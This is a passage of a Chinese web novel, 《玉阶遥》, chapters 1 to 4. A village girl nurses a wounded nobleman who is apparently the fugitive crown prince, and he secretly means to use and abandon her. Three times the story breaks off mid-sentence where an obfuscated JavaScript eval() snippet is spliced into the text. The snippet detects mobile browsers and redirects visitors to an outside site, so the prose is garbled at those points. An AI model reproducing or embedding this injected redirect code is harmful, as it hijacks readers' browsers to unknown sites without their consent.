《玉阶遥》 1. 第 1 章 连绵的春雨总算停息,马家村的上空放了晴。抬头远望,是一片碧空如洗,烟络横林。 苏燕从山上下来,衣服上都沾了泥水,发丝也因为雨雾而变得微湿,背后的箩筐装了些草药和野蕈子。因为走了很久,她现在已经有些疲累,额上都覆了层薄汗。然而即便是这样,她也没有要歇息的意思,一心想着快些回去做饭。 苏燕住的地方在观音山脚下,这个村子里的人大多姓马,苏燕母亲是避祸来了此地,早在她十三岁就去世了,后来她就跟着隔壁瞎了半只眼的跛脚大夫采药换钱。一直到她十六岁都孤零零的,不过现在不一样了。 想到家中还在等候她的人,苏燕不禁加快了脚步,踩在田埂的水洼里,溅起一阵水花。 眼看着就要到了,不远处一个走路晃晃悠悠的男人提着半只羊腿走近,苏燕认出来人,皱着眉头避让,男人却坏笑着突然伸手来够她。 苏燕二话不说,直接将柴刀拎起来,毫不客气地瞪着他,说道:“马六,你这只手不想要了吧?” 马六本来还不怀好意想摸她两把,见她手上那把磨得光亮的柴刀,立刻便退缩了,讪笑道:“跟你逗趣儿,怎么还动上刀子了,来我家有羊肉汤喝。” 苏燕表情没有丝毫松动,忌惮地往后退了一步后。“不要脸的东西,呸!谁稀得跟你逗趣!” 马六是村里出了名的流氓痞子,见了谁家小娘子生得貌美便去轻薄,无奈他父母是个不讲理的,一向惯着不成器的儿子,反骂那些受他欺负的姑娘不知羞耻,嘴里没个干净的词。前阵子马六因在镇上戏弄了衙役的妹子,才被狠狠打了一顿,他爹娘花钱打点才给救出来,眼下又不知死活招惹苏燕。 在这里住得久了,人人都知道苏燕孤身一人,再加上她母亲名声不好,时不时就有不要脸的好色之徒在她家附近转悠。马六就曾翻过她家的院墙,被她养的大黄狗追着咬,后来他爹娘反而带着棍棒来打她,要不是被人拦着,苏燕只怕要被打个半死。 她现在看到马六就避开,平日里就是不砍柴也要带着刀,防备这群不要脸的泼皮无赖。 马六被她一番恐吓,朝着地上愤愤地啐了一口,嘴里说了一连串下流词,紧接着还说:“别以为人不知道呢,你捡了个野男人安置在屋里,日日跟人好,人都让他摸干净了,还当自己什么清白人家!” 苏燕攥紧手指一言不发,背着篓筐走远了才回过头反唇相讥:“我就是做妓子都瞧不上你。” 马六怒极来追,苏燕一路狂奔,大喊着大黄狗的名字,很快狗就从院子里跑出来,将追上来的马六给吓走了。 苏燕这才松了口气,摸了摸大黄的脑袋,朝屋子走去。 “我回来了。”她说起这话,表情都忍不住柔和了起来。 随后屋子里走出一个身材挺拔,面目俊朗的男人,将她背后的箩筐接过。“方才听你喊了一声。” 莫淮说的是正经官话,嗓音也像是一缕清风似的温雅朗润。他背后分明是简陋的农舍,却丝毫不会破坏他半分光彩,好似身处水榭楼台那般贵气逼人。 她抿唇笑道:“不打紧,遇到一个泼皮无赖罢了。” 他淡淡地应了一声,便没有后话了。 苏燕俯身挑出筐里的野蕈子和莴菜,嘀咕道:“今日去山里采了不少蕈子,刚好下了雨,过些日子再去看,说不准就有山笋可以吃了。” 莫淮望着远处雾气缭绕的青山,也不知在想些什么,似乎是没听到她的话。 苏燕也不在意,抱着菜去堂前做饭了。 捡到莫淮已经有半年的时间了,苏燕正出门去帮着找马大娘走丢的小羊羔,无意间在山脚下的灌木发现了奄奄一息的他。 当时的徐墨怀连身上的衣物都被树枝划烂了,脸上也有不少伤,尤其是腿被一根尖利的树枝贯穿,血流得到处都是,凌乱的发丝也被血迹凝结成一缕缕的。 苏燕被吓了一跳,还以为是个死人,本想去找人来帮忙,却听到了徐墨怀的喘气声。他几乎是用最后的气力,嗓子哑得像破锣一般,乞求道:“救我……求求你。” “不要……不要说出去。”他气息很弱,苏燕贴得极近了才听清。 她看出这人衣着华贵,应当是谁家遭祸的贵人,拉来老牛将他扛回了家。也按照他的意思,并未将此事声张。也不知是从何处逃来的,身上的伤严重到能看见森森白骨,因为正是入冬,冷得瑟瑟发抖,牙齿都在打颤。 苏燕攒着要为自己寻亲的钱,都用来给他治病了。 莫淮自称是长安来的商户家公子,家中叔父妄图夺家产而谋害他,才落得这般境地。然而叔父残忍狠毒,若他伤重又孤身一人的事传出去,必定要被残害。 莫淮洗净了脸,虽面上有伤,也不影响他的英俊,举手投足间更是带着一种清贵的气度。苏燕本来还心疼自己的钱财,但他言语间多次感谢,又对她好一番夸赞,她便不再计较了。 总归是个有钱人家的,日后念及恩情回报于她,也吃亏不到哪去。 便是如此想着,苏燕将他留在了家中养伤,二人朝夕相处,一留就是小半年。 苏燕做好了简单的饭菜,先去给那跛脚大夫送了一份。回屋的时候莫淮已经将饭菜在桌上摆好了,用热水将筷子漱过一遍,再拿干净的巾帕擦干,这才慢条斯理地用饭。 苏燕知道他是富贵人家出身,难免规矩要多些,早就习惯了他这幅矜贵做派。劳累了半天,她几口吃完了饭,洗漱一番便又背上了箩筐。 “燕娘,先等等。”莫淮咽下涩苦的茶水,从袖中抽出一张纸来递给她。“我的伤已经快好了,你且帮我将这张告示贴在告示栏旁,若我的亲信看到了,也好来寻我回去。” 苏燕愣了一下,语气克制不住地失落。“你要走了吗?” 莫淮走过来,抚了抚她的手,宽慰道:“我总是要走的,何况他们寻到我也需时日。等我回去安排好一切事,再回来找你。” 她感受到手上的传来的温度,面上微微一热,羞赧地点点头,说道:“这次采了不少好东西,等我去镇上卖了钱,应当能换几块好布,回来给你做一身新衣裳。” 莫淮如今走路还有些跛足,伤势尚未好全,只送她到门口,温声道:“早些回来。” 苏燕应了一声,招招手出了院子。 看到苏燕的背影,莫淮脸上的笑渐渐沉下去,只剩一片残冷的灰烬。 —— 去镇子上有些脚程,苏燕特意问过了同村的人,搭了牛车与他同去。正是春种的时候,清明才过,田野间都是忙作的农户,偶尔有认识苏燕的,还会与她打个招呼。 苏燕小小年纪便没了母亲,自食其力将自己养活大,村子里的好心人也时常关照她,只是偶尔也有些嘴巴不干净的无赖喜欢无端污蔑。她随母亲生得貌美,即便是粗布荆钗也不掩她清丽面容,免不了要招惹些心怀不轨的人。 镇子上乱哄哄的,苏燕才下牛车,正小心避过地上积水的洼地,就听背后一阵马蹄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏燕仰头说道:“好在我们只是平常人,这些事与我们干系不大,等他们走了就好。” 周胥叹了口气,也点头应了,随后还将麻绳上扎着的鲤鱼解下分了她一条,说道:“久不见你,刚好今日学生献了两条鲤鱼,拿回去煲汤最好。” 苏燕正要拒绝,他又说:“就当还你上次赠我蕨菜的礼,不必推拒了。” 东家装好了药材递给周胥,顺带哄笑道:“你二人如此般配,结为夫妻恩恩爱爱多好,也不用再分什么你我了。” 苏燕忙说:“莫要胡说,平白污了周先生的身份。” 周胥只笑笑不说话,和二人道别后拎着药包走了。 药铺东家称过以后,给苏燕付了钱,她也背着箩筐离开,准备去布庄看看,给莫淮买一块好布做衣裳。怎么说也是有钱人家的郎君,她也不想太过委屈他。兴许是寻常百姓与娇生惯养的郎君不同,即便是一身粗布麻衣,他也能穿出十分矜贵来,就像被蒙上了纱帐的美玉,光华却不曾被掩去半分。 苏燕看不懂莫淮给她的纸上写了什么,还是照做贴了上去,等到天色渐暗她才归家。而屋里已经点上灯了,她看到那片昏黄的光晕,心中微微发热,好似疲倦也一扫而空,快步朝着门口走去。 莫淮正站在那处,不知在想些什么,见她回来,浅笑着颔首。 “燕娘。” 苏燕喜盈盈地牵过他的手,仰起脸道:“我回来啦。” 2. 第 2 章 苏燕一向勤劳,什么脏活累活都肯做,虽然家中清贫简陋,却也收拾得干净整洁。她家走不远就是一条小溪,浣衣打水都方便。观音山下只有苏燕和跛脚大夫两户人家,天黑后一眼望过来,便只剩下两处昏黄烛火,不比其他人家屋舍相连来得亲密。 莫淮的到来给苏燕带来的,远不止孤寂中的陪伴。 乡间鳏夫与娶不着媳妇的无赖并不少,苏燕的母亲在时便频频有人骚扰她们,也是因此才将屋舍迁到了这处荒凉地。然而即便如此,还是有人不依不饶地偷摸着过来。 苏燕记得年幼时,母亲时常会随着陌生的男人出去,回来的时候发髻总是要凌乱些,衣服会沾上草渣和泥巴,而她的手上也有了粮食。 后来苏燕独自一人住在这里,有男人甚至结伴想欺负她,被跛脚大夫拿着菜刀给赶走,再后来他教着她用削尖的竹子砌在墙头,养了健壮凶猛的猎狗。即便如此,苏燕也过得不安心,夜里从不敢睡得太踏实,倘若院子里有什么异动,立刻便将床边的柴刀抓紧。 莫淮来了以后,她总算能安稳地睡觉了,回家的时候看到屋里的光,她会觉得安心。 —— 白日里被溅了一身的泥水,苏燕一回屋就带着莫淮去打水,等浴桶里的水差不多了,莫淮自觉出去在院子里站着,一直等到屋子里响起一阵哗啦的出水声,门终于打开,他这才转身朝苏燕看过去。 屋里仅有一盏油灯,只能依稀照出她的玲珑身形。 苏燕站在背光的位置,微薄的衣衫贴在身上,在朦胧光线中勾勒出她丰盈的曲线。 “好了。” 她找来巾帕随意地擦了几下湿发,随后头发披在肩头再怎么滴水也都不管了,任由背后都是水痕。 莫淮看不过去,索性接过巾帕站在她身后替她擦干。“夜里洗什么头发?” 苏燕这才想起白日里的事,没好气道:“你一说我想起来,都是那些不长眼的官兵在街上纵马,溅了我一身泥水,头发都沾了不少,不洗干净如何睡得安生。” “纵马?”他手上动作一顿,随之微微皱起眉。 前朝战乱死伤无数,天下的马都被拉去充公了,如今虽调养生息渐渐好转,像云塘镇这样偏远的地方,整个衙门也才一匹品相不佳的老马,哪有一堆官兵纵马的道理。如此想来,只怕是有大事发生。 “听周先生他们说,是秦王在搜捕太子下落,他们说大靖的太子要东山再起了。”苏燕正在整理今日买回来的新布,对这件事有些心不在焉。 莫淮却像是很有兴趣,接着问她:“来了多少人?” “这个我就不清楚了,今日街上纵马的那些个,约莫有二三十人。听闻秦王派兵搜捕整个清水州,我们云塘镇这边的阵势还算小的,应当过两日便走了吧。”苏燕说着便低下头去,湿冷的发丝垂落在莫淮的腕间,他压低眸子,一言不发地望着她比划那块墨蓝的衣料。 他居高临下地站着,能望见她松散的衣襟下白腻的肌肤,胸脯随着呼吸起伏着,像是一团绵软的雪。 窥见衣下风景,莫淮也只是默默将目光别开,神色没有半点异样。 苏燕一无所知地折腾手里的衣料,烛火将她的影子映在墙上,随着微风拂过,影子也微微颤动着。她掰着指头费力地算今日去镇上的收支,一边心疼地说:“这块料子花了快半贯钱,还好今日草药卖得多……” 莫淮面上一片漠然,紧接着又听她轻声细语地说:“等明日我得了空,好替你做一身新衣裳,这块料子我一眼便相中了,你穿上定然极俊俏。” 她说到这里又一顿,随即笑道:“也不对,你这样好看的人,穿什么都俊俏。” 莫淮怔了一下,捏着巾帕的手指不自觉收紧,好一会儿才缓缓地舒展了,唇角也微微弯起。 他曾受万人膜拜敬仰,文人名士的赞文还是谄媚之人的恭维,他从小听到大早已不为所动。可如今面对苏燕用别扭的官话说出的质朴夸赞,他竟心底生出了一丝微妙的感受,说不清是怎样的情绪,但的确不算太差。 “今日劳烦你了,早些就寝吧。” 苏燕住的屋子并不算大,和多数人家一样,卧房便是正厅,一些杂七杂八的物件则另有偏房放置。家里多出一个莫淮后她从山上拖了竹子回来,又做了一张简易的竹床留给自己睡,二人的床榻紧挨着,中间隔了一张小桌。起初这样毫无顾忌也是因为他伤得动弹不得,后来习惯了也就懒得再重新布置。只是日后说出去,她的名声只怕好听不到哪儿去。 苏燕的头发已经半干,躺下去后仍感觉冰凉。她听着身旁人平稳的呼吸,不禁去想日后的事。 她为了给莫淮医治,攒下的银钱已经所剩不多了。但还好,他说好了日后要带她一起走,去看繁华的京城,去天底下最好的酒楼。那个时候她也能去寻自己的亲人,再不是孤单一人无依无靠。那个时候,她应该就可以更好地与他相配了…… 翌日一早,苏燕做好了早膳,在晨雾缭绕中去割了草回来喂牲畜,又拖了一大桶衣裳去溪水边洗。莫淮捏着粗劣的毛笔,忍着难闻的墨写下书信,苏燕晒好了衣裳,回屋的时候看他神色不耐地盯着分叉的笔尖。 “这只不好用,我改明儿再替你做一支。”反正院子里还栓了只羊羔,尾巴毛扯上一把就好了。 莫淮强忍着烦躁,说道:“不必了,勉强一用。” 他怎会指望一个不会写字的人做支像样的笔,如今秦王来到清水郡,他的部下想必也寻到了消息,离开这个穷乡僻壤的山村不过是指日可待,还有什么好挑剔的。 如今回想,这度日如年的六个月都过来了,他只需再忍耐几日,就能彻底从此处脱身…… 想到这里,他挂上温柔笑意,说道:“燕娘,你过几日是要再去趟镇里吧……” 一番交代后,苏燕毫不犹豫地应下了,将信压在了针线筐里。总是留在家中实在无趣,她便询问:“我要去放牛啦,你要不要和我一起,山地里开了好多花,日头也不晒。” 她眼睛亮盈盈的,显然是想让他同去。从前莫淮因为腿伤要好好休养,一直留在家中不曾出去,加上她住得偏,村子里没人知道她捡了个男人回来。如今马六都瞧见了,必定大肆张扬,她也不用再担心什么名声,总归日后莫淮是要带她走的。 莫淮的腿上已经快好全了,只有走得快了才会有些微微地跛足,再有十天半个月便健朗如初,出门走走也不大要紧。 苏燕又说:“我从集市上买来的旧书你都看完了,留在家中多孤单,这半年你还不曾看过我们的住处,等走后再回想起来岂不是没趣。” 听到这番话,莫淮险些要冷笑出声了。 回想,他为何要回想?这样无能憋屈的日子,他还嫌过得不够吗?能有什么好想的,难以下咽的茶饭还是简陋不堪的屋舍,他仿佛一闭眼闻到的都是牛粪的臭味儿,以及聒噪个没完没了的鸡鸭。 然而他瞥了眼桌子上那些错漏百出,又极为陈旧无趣的话本,心中也实在烦躁,最终还是点了点头。 苏燕心中欢喜,拉着他就朝外走。 观音山脚下是一大片平原,因为多种着庄稼,她通常要将牛赶到半山坡去,中途也顺带采些野菜。 如苏燕所说,正是春光大好的时节,草地绿葱葱一片,中间点缀着不知名的野花,白的黄的散落其中,蝴蝶在野地纷飞起伏。 苏燕提着篮子摘野菜,耐心地教莫淮辨认,丝毫没有察觉到他的敷衍。 春日里的阳光并不晒人,相反这光照在身上暖融融的。莫淮养伤的那段日子里几乎足不出户,如今反而有些不适应。他看向一旁的苏燕,她正大喇喇地躺在草地里,抬起手遮住刺目的光,一头墨发被随意地编成了辫子斜在肩侧。 “我就说此处风景独好,比在屋子里闷着要好多了。”她指着那片开得正盛的桃花,语气有些细微的得意。“这桃树是我阿娘栽的,结的桃子可甜了,往后摘给你尝尝。” 莫淮此刻正在为一些事忧心,苏燕看出来了,便问:“你是不是在担心回去以后的事?” 他本不想和她聊起这些事,然而此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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换做往日,这些话她都是听惯了的,任马六如何满口污言秽语她都不理会。唯独这次不同,她心底难受得紧,恨不得立刻用泥巴塞住马六的嘴。即便闷不吭声装作若无其事地离开,她也压不住委屈和羞愤,气得眼眶都开始泛红,泪花也聚了起来。 马六胡说八道,苏燕其实已经不在意了,可她在意莫淮。如今让他听到了这些,她满心都是难堪。 遇到马六之前,苏燕还高高兴兴,一路看花看云,连步子都轻快。此刻低着头走得很慢,背影都显得低落。 “燕娘?”他轻轻拽了下苏燕的袖子。 苏燕脚步慢了些,瓮声瓮气地问他:“怎么了?” 莫淮听到她的语气,便扳过她的肩,正巧对上她水润的眸子。 “燕娘?” 他略显愕然地看着苏燕,她便更觉得羞愤了,忙抬手用袖子抹了把眼泪。 紧接着就听她又委屈又忐忑地说:“你不要听他胡诌,我不是……” 他这才知道,平日里能劈柴能宰羊,挑起水都能走得飞快的苏燕,也能为了旁人几句诋毁哭红鼻子。 莫淮其实并未将马六放在眼里,这种市井无赖,于他而言不过是一只可以轻易踩死的蝼蚁,至于他说的那几句难听话,自然也不会有什么反应。虽说乡音浓重,他也能听懂个大概,无非是折辱人的。且不说他与苏燕相处这么久,早已知道她的品性,就算她当真如此不堪,他也不过利用一场,何必在意。 苏燕低着头,睫毛被泪水打湿粘在一起。她想反驳自己并非如此,可她母亲当初为了养活她,也的确做过最下等的流莺。她没有十足的底气来证明自己干净磊落,也不想为了讨得莫淮认可,而去和辛苦拉扯她长大的母亲撇去关系。 在她心底紧揪成一团的时候,突然一只手抚上了她的脸颊,替她将眼泪细致地揩去。 “不必和我解释什么,我自然不会相信旁人对你的诋毁。” 他嗓音柔和,就像这山间拂过的清风。 苏燕发上的辛夷花被风吹得微微颤动,好似连着她的心也跟着晃了晃。 3. 第 3 章 云塘镇的官兵四处搜查,闹得人心惶惶。苏燕去镇上替莫淮送完信,顺带去告示栏看了一眼,上次莫淮托她贴上去的纸已经让人揭走了。 得知这个消息,莫淮的心情似乎也跟着愉悦了不少,闲暇时便教她读书识字。 苏燕是在穷乡僻壤中长大的,平日里都在为吃穿操心,读书识字在她心底是万万不敢想,只是心底会没由来地敬重那些读书人。她以为自己见过最有才识的人就是周胥,却不曾想能让她遇见莫淮,即便她大字不识,也觉得他写出来的字好看极了。 苏燕会写自己的名字,还是周胥教给她的,只是写起来歪歪捏捏,笔画顺序也不对。才写了一半莫淮就忍不住皱眉,随后俯身握住她的手一笔一划地教她。 莫淮一只手撑着桌子,另一只手在教她写字,二人贴得极近,几乎是一个将她从后抱住的动作。然而他面色坦然,没有半分不自在,反倒是苏燕涨红着脸,大气不敢出。 他唇瓣一张一合间,吐露的气息就落在她颈侧,就像一根小刷子似的,挠得她心上微痒。 苏燕写完自己的名字,便说:“阿郎教我写你的名字吧。” 身后人显然僵了一下,似乎是想到了什么,发出一声意味不明的轻笑。 “好啊。” 一直到莫淮嫌无趣了,苏燕仍在握着笔苦练写字。纸上来来回回,都是“莫淮”两个字,从一开始扭曲到不忍看,最后写多了,也渐渐有了个模样。 苏燕拿着她认为自己写得最好的那张给莫淮看。“我会写你的名字了。” 他笑着点头,看着那两个字,眼中含了几分讥诮,评价道:“写的不错。” —— 苏燕为莫淮做衣裳剩了些余料,想起她之前去镇上,那些家世稍微体面的年轻郎君,似乎腰间都挂着一个香囊。她便去找隔壁的跛脚大夫请教,寻了些提神的草药,合着晒干的辛夷花一起,准备做个香囊送给莫淮。 镇上的官兵到处搜查,苏燕这些日也没怎么去过,也不知如今秦王有没有找到太子的下落。如今正是天下大乱的时候,从前她去镇上总会替莫淮捎去信件,自从上次送去的迟迟没有回音,他也没有继续写信了。 苏燕不知道原因,猜测是他写给家人的,但是这么久都没人来马家村寻他,兴许是迫于他那个叔父的淫威,不敢对他伸出援手呢。 眼看着莫淮身体好了,她心中也渐渐担忧起这些事。替他换上新衣服后,忽然开口问:“若回了长安,你便能夺回家业吗?” “怎么了?” 她不安地说:“当初你那叔父为了夺家业,敢对你痛下杀手,若你回去了他又想害你性命,你当真能平安无事吗?” 回想起初见莫淮时那一身骇人的伤,她至今都觉得心有余悸,若再遭人毒手,她实在是不敢想。 比起她的忐忑不安,莫淮脸上半点担忧也没有,只沉声道:“无论如何,我都要回去,本就是属于我的东西,断不可能让旁的人拿走。” 苏燕叹了口气,替他将衣带系好,说起镇上的事。“现在天下不大太平,镇上来了好多官兵,听人说前些日白水村的外乡人都给抓了去,闹得人心惶惶的……” 莫淮敛了神色,问她:“还有多久到马家村。” 苏燕摇了摇头,说:“我也不知,但是我们村偏得很,也没什么外来人,那些官兵做个样子,应当不会查到此处。” 莫淮点点头,没有再说什么。 苏燕见他穿上新衣裳,果真气派多了,一看便是出身富贵的郎君,和这昏暗逼仄的屋子显得格格不入,就像那天上的仙鹤落到了鸡圈一般。 她心上没由来又生出一种卑怯,仔细地瞧了他几眼便也低下头沉默不语。 次日苏燕去镇上卖草药,顺带去问了一声莫淮寄的信可有回音,然而这次也是同从前一般,寄完信就没了下文。她想着必定是莫淮的家中人都不肯帮他,因此回去的路上心情也低沉了起来。 莫淮的伤已经好全了,正在百无聊赖地替她喂养家畜,见到苏燕回来,便拍了拍手,问道:“脸色不大好看,有人欺负你?” 苏燕摇了摇头,看他的目光中竟带了几分同情。莫淮不知道她又在瞎想什么,便进屋倒了杯水给她,问:“燕娘,你又去问有没有回信了?” 她满面愁容,握着他的手说:“阿郎,我始终放不下心,你寄了那么多信去也没个回声,可见家中人也都是见利忘义的,且不说你那叔父还是心狠手辣之人,若你当真回去与他斗,反遭他迫害,这可如何是好?” 莫淮斜睨了她一眼,并不打算与她解释其中缘由。 “你怕我死了,无法偿还你的恩情?” 苏燕立刻坐直身子,先是愕然,而后面上染了薄怒,愤愤道:“你怎得这样说,我……我不过是……” 她说着说着,眼睛竟忍不住先红了起来,语气也带了哭腔。“我知道你是养尊处优长大的,我一介农妇,也不敢想着挟恩图报,不过是与你相处数日也有情分,担忧你几句……” 莫淮见她是真的难过,不免有几分懊恼,便温声安慰:“方才只是我逗趣才说的话,你莫要当真,我知你是真心替我着想,这种话日后我不说了。” 苏燕根本就什么都不明白,他也不想跟她在这种事上多做纠缠,便由着她的意思。 她在乡野间长大,也没什么见识,却还是绞尽脑汁在为莫淮谋划,即便她说的那些谋划在他心中既低劣又可笑。 她又说:“若阿郎你斗不过他也不碍事,只你身子康健,一切都能从头再来。要是你累了,我便不寻亲,与你回到这屋里住……” 莫淮并未反驳,反而认真地听着她说,苏燕望见他的表情,甚至觉得被鼓舞了。漆黑的眼睛才沾染了泪水,此刻就像是清澈河底被冲刷过的琉璃,泛着莹莹的光泽。 她似乎从没有被这窘迫的日子给摧残,半点沮丧灰暗也没有,眼中都是对往后的期冀。 “我想过了,后山那块地好好收拾,可以种些葵菜和莴菜。你教我识字算数,我便可以拉着菜去市集上卖了……”苏燕面色微红,笑得有几分傻气,正滔滔不绝地说起对往后的规划,又指着墙角说道:“这处还空置着,日后我们买个书架放在这里……” 莫淮扫视了一眼狭窄老旧的屋子,目光落在苏燕写的歪歪扭扭的字上,忍不住在心中鄙夷,却仍旧没有打破她的妄想,微笑着点头说:“好。” —— 香囊还差两味药材,苏燕背着箩筐去药铺卖草药,顺带找东家买齐全,没等苏燕掏出钱,东家便招手赶人:“去去,这么点东西还收钱,我成什么人了。” 苏燕笑着答谢,背着箩筐脚步轻快地走了。 这次她没赶上架牛车的商贩,只能徒步走回去,等回到马家村的时候已经是夕阳西沉,晚霞火红一片,映照在山峦之间,似乎山头都燃起了熊熊烈火。 苏燕无暇赏景,只想快些回去,然而走着走着,就发现远处有个人影正拄着拐杖一瘸一拐地朝她走来。 “张大夫!” 张大夫瞎了一只眼又跛着脚,平日里也只是去菜地除草浇水,并不会走得太远,如今好端走到这里做什么。 张大夫瞧见她,走得更快了,苏燕怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002107|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他摔倒,连忙去扶住他。“张大夫,你这是要到哪儿去?” 他颤巍巍的手捉住苏燕的胳膊,说道:“马六带官兵来村子里搜查了,外乡人一律要关进大牢严查……” 不等他话说完,苏燕就惊骇地瞪大了眼,满面怒容道:“他领着人朝我家去了?” 张大夫看她急得拔腿就要跑,连忙扯住她说:“你这丫头,听我说完!” 苏燕焦头烂额,急得在原地跺脚:“张大夫,您拦我做什么?我再不回去阿郎就被关进大牢了,他还等着回长安去呢。” 张大夫狠狠地往她后脑勺抽了一巴掌,苏燕这才强忍着慌乱老实下来,紧接着就听他说:“方才我在地里择菜看到有官兵来,就从小路回去提醒你家那位郎君,他可比你伶俐多了,二话不说朝着山沟子里跑,这会儿估计正想着法子翻山……” 苏燕松了口气,心中却还是慌得很,骂道:“狗鼠辈的马六,世上竟有这种祸害精,我真恨不得放狗咬死这腌臜东西……” 张大夫脸色也不好看,语重心长道:“如今这祸事算是缠上你了,要是还想好生过日子,就装作什么都不知晓,跟那捡回来的郎君撇清干系,当做没有这号人。官兵问话尽管说不知道,村子里人也多帮着你,要是官兵上山去寻人,你也莫要做声,切莫再多管闲事。” 苏燕想也不想便一口否决。“不行,山里入夜又黑又冷还有野狼,莫淮只怕连怎么出山都不知道,还不得困在山里好几天,不被官兵捉去也要饿死……” 见她态度坚定,张大夫也急了起来,说道:“不听劝的蠢丫头!这男人也就一张脸能看,肩不能挑手不能提的,才说了几句好话你就死心塌地,到时候你也跑到山里帮他,官兵还不得当你是心虚跑了,那马六又不依不饶,你这家别想要了!” 苏燕听了他的话也有片刻犹豫,可很快又说:“马六是因为我才做出这种混账事,倘若他真的死在了山里,亦或是被官兵抓进大牢,我此生都不得安稳。您就让我去吧,待我送他平安离开,避过风头还能再回来。” 张大夫知道苏燕是个性子犟的人,一旦她坚定的事,旁人说什么都不好叫她改变心意,百般无奈下只好说:“如今你大了,我也管不得你。你们一走,官兵在村子里找不到人更要起疑,十有八九会搜山,好生注意着,可别被捉了去。” 苏燕忙和他道谢,背着竹篓子往观音山去了。 观音山一带大小山脉连绵不绝,若不是识路的人进去了,没个几天几夜走不出来,天黑后山路崎岖难行,稍不留神便会滚落山坡没了性命。 屋漏偏逢连夜雨,还不等苏燕找到莫淮,竟开始下起了小雨。夜幕降临,她只能越发小心地往前走。 也不知道找了多久,苏燕衣服都让雨水淋湿了,贴在身上难受得紧,加上山里又黑又静,只有雨水落下的沙沙声,就像春蚕在啃食桑叶,她的耐心也要被啃食殆尽了。 就在苏燕又一次滑倒后,她累得没力气,坐在地上又颓丧又心焦,满脑子都在想,是不是莫淮已经走远了,又或者他被官兵找到,不然为何走了也没看到他的踪迹…… 她满脑子都是这些,越想越难受,胸腔都像灌了水闷生生的。 苏燕抹了把脸上的雨水,艰难地想爬起来,突然听到头顶传来的声音。 “燕娘,是你吗?” 他的声音穿过淅淅沥沥的小雨,像是被打湿了一般带着阴冷的寒气。没什么温度的嗓音,却好似在一瞬间驱走了苏燕的疲惫焦灼。 她仰起脸,眼睛进了水涩涩地疼,语气带着点强忍的哭腔:“阿郎,我总算找到你了。” 4. 第 4 章 莫淮说不清自己是什么感受,他在这漆黑又湿滑难行的山林里走了许久,时刻忧心身后是否会有追兵跟上来,也不得不提防脚下崎岖不平的路。 他重伤的那段时间里,已经有不少人以为他身死,明里暗里倒戈秦王。清水州大肆搜查他的下路,必定也会给告事人不少的好处。 这个时候和他撇清干系才是明智的选择,最好还要帮着官兵来搜捕他的下落。 在离开苏燕那个小农舍的时候,莫淮就知道自己再也不会回到那里。他走的时候没有丝毫留恋,更不曾回头。 此处的动静会惊动他的部下,本来要离开也就是这几日的事,如今被提上日程,接他的人很快就到了。 莫淮知道这意味着什么,因此这个时候,无论如何他都不能落到秦王手里,更不能凄惨地死在这深山老林。 “燕娘。”他没想到苏燕会出现在这里,至少这一刻,他不得不承认,自己竟真的有一丝动容。 这样又黑又难走的路,她背着一个箩筐,一路走一路摔,终于来到了他的面前。 苏燕被莫淮一把拽了起来,几乎是用力地按进了怀里,这个怀抱一点也不温暖,只有湿冷的雨水,甚至连他的身子都在微微发抖。 苏燕在观音山脚下活了十六年,对这座山再熟悉不过,如今虽然是深夜不大好走,也不至于和莫淮一般毫无头绪,硬是带着他找到了一个能遮风避雨的山洞。 这个山洞并不算大,差不多刚好能摆下一张床榻,苏燕在里面还能直起身子,莫淮便只能弯腰低头了。好在不用继续淋雨,比什么都好。 山上一到了夜里比白日更冷,加上二人都淋湿了,此刻便紧紧依偎在一起。 连绵的夜雨也不知几时才停,他们只能穿着湿衣服一直等到天亮。 “能让底下人这样大费周折,秦王给的悬赏必定也不少,那些官兵知道你我二人不见,免不了要上山搜查,我们只能小心行事了。”莫淮靠在石壁上,背后硌得发疼,但此刻实在劳累,也没工夫计较那么多。 苏燕倚着他蜷起身子,小声道:“现在下了雨,他们应该不会上山来找吧?” 莫淮轻嗤一声,说道:“若是赏金够多,即便刀山火海也有人争着来,何况是区区的夜雨。” 她点点头,叹气道:“你怎得这样背运,搜查太子的事与你何干,如今竟平白被牵连。听说那些被抓入官府的人,都要先被严刑拷打一番,我们可千万不能落在他们手上。” 莫淮沉默了好一会儿,才问她:“你既然知道,为何还要来找我,若是你够聪明,这个时候就不该管我的死活。” 苏燕愣了一下,说道:“说得容易,可不管你死活这种事,哪有那么容易做到?即便是我养了许久的牛羊,那也是有感情的,何况你是个活生生的人,我当然不能丢下你不管。” 山洞狭窄阴冷,他们唯一能寻到的温度就是彼此,莫淮下意识箍紧了苏燕,发出一声极轻的叹息。 “那你待我是什么感情,也和牛羊一样吗?”他突然问道。 苏燕忙说:“当然不是了!” 他笑了一声,步步紧逼地问:“那是什么感情?” 她涨红着脸,头压得更低了,而后突然想起来什么似的,从怀里掏出一个东西。 “这是什么?”莫淮看不清。 苏燕面颊发热,说道:“是一个香囊,我在里面放了干花和草药,就是现在被打湿了。我见别的郎君都有,便给你也做了一个。” 她的意思已经不言而喻。 黑暗中,她看不大清莫淮的表情,却听他发出一声意味不明的轻笑,而后从她手中接过了那个湿漉漉的香囊。 “燕娘,你待我真好“,他语气温柔缱绻,仿佛带着蛊惑人心的能力。 